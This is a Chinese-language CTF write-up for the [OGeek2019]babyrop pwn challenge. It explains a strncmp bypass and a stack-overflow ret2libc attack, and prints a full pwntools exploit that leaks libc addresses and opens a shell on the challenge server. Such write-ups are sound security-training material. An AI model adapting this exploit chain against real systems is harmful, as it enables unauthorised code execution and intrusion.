首页 > 其他分享 >[OGeek2019]babyrop

[OGeek2019]babyrop

时间:2023-08-07 21:45:23浏览次数:42  
标签:babyrop sub 函数 libc write OGeek2019 main addr

[OGeek2019]babyrop

0x01

64位程序,开启NX

没有system函数和/bin/sh字符串

0x02

分析程序: main函数中,先读取一个随机数到fd,并作为参数传入sub_804871F函数,再将sub_804871F函数的返回值作为参数传入sub_80487D0函数里。

main函数

image-20230807205450139

sub_804871F函数

image-20230807205837589

sub_80487D0函数

image-20230807205912958

观察程序我们可以发现sub_80487D0函数有栈溢出漏洞

然而想要利用栈溢出需要我们达成两个目标

1、绕过sub_804871F函数中的exit函数,这就要让strncmp的返回值为0

2、让sub_80487D0函数中a1(即buf[7])的ASCII码值尽可能大,构造栈溢出

0x03

首先第一步,我们知道,buf和s数组完全相等时,strncmp函数返回0,但是sprinf函数将随机数加到了s数组中,buf与s很难相等。不过在v1为0的时候strncmp函数也是会返回0的,而v1是读取的buf的大小,我们可以控制buf的第一位为'\x00',可起到截断字符串长度的效果。

第二步,若要利用栈溢出ret2libc泄露write函数地址的话,起码需要231+4+4*5 = 255个字节,所以让buf[7] = '\xff'即可。代码中的buf[v5-1] = 0改变的是字符串末尾'\x00'的值,不影响buf[7] 。

所以第一次读取的payload为

payload = b'\x00'+b'\xff'*7
p.sendline(payload)

p.recvuntil("Correct\n")

0x04

注意本题提供了libc,直接使用pwntools工具即可,不必使用LibcSearcher

main函数地址用elf.sym['main']是找不到的,objdump -t命令查看发现程序没有符号表,原因应该是出题人使用strip命令去符号表了

完整exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
p = remote('node4.buuoj.cn',28188)
#p = process('./pwn')

elf = ELF('./pwn')
libc = ELF('libc-2.23.so')

payload = b'\x00'+b'\xff'*7
p.sendline(payload)

p.recvuntil("Correct\n")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
#main_addr = elf.plt['__libc_start_main']
main_addr = 0x8048825

payload1 = b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload1)

write_addr = u32(p.recv(4))
#print(hex(write_addr))
libc_base = write_addr -  libc.sym["write"]
system_addr = libc_base+libc.sym["system"]
bin_sh_addr=libc_base+libc.search(b'/bin/sh').__next__()

p.sendline(payload)
p.recvuntil("Correct\n")

payload2 = b'a'*0xe7+b'a'*4+p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()





标签:babyrop,sub,函数,libc,write,OGeek2019,main,addr
From: https://www.cnblogs.com/imarch22/p/17612794.html

相关文章

  • [BUUOJ]bjdctf_2020_babyrop
    bjdctf_2020_babyrop先checksec,64位小端序,MX保护开,其它全关,接着进入IDA分析main函数内很简单,进一步分析后找到关键函数vuln本题没有找到backdoor,所以应该是做基地址泄露然后getshell,整个程序内只有puts函数可以输出内容,因此对puts函数进行修改,先溢出后转到此处,考虑到系统会对堆栈进......
  • buuctf.pwn.[OGeek2019]babyrop
    可以看出,没有开什么特别的保护什么是plt,gpt,自己回顾一下hex(elf.plt['puts']).plt.got:08048548FF25D49F0408jmpds:puts_ptrhex(elf.got['puts']).got:08049FD46CA00408puts_ptrddoffset__imp_puts;DATAXREF:pu......
  • [BUUCTF]PWN-[OGeek2019]babyrop
      点进sub_80486BB   注意alarm()   注意buf是v1,输出数是a1,if嵌套strncmp frompwnimport*context(arch='i386',os='linux',log_level='debug')io=remote('node4.buuoj.cn',25522)#io=process('./babyrop'......
  • [BUUCTF]PWN-bjdctf_2020_babyrop
    注意本题需要用到ROPgadget安装命令:sudoapt-getinstallpython-capstonegitclonehttps://github.com/JonathanSalwan/ROPgadget.gitcdROPgadgetsudopythonsetup.pyinstall以下是相关使用命令:命令: ROPgadget--binary文件名--only"pop|ret"|greprdi命令: R......
  • pwn | bjdctf_2020_babyrop
    pwn|bjdctf_2020_babyropx64ret2libc常规题注意调用约定即可exp:frompwnimport*fromLibcSearcher.LibcSearcherimport*importstructcontext.log_level......
  • BJDCTF2020 Babyrop2
    最近这段时间应该会陆陆续续补上以前做的pwn题的wp,再来复习一下InvolvedKnowledgeFormatStringStackoverflowret2libcChecksecArch:amd64-64-little......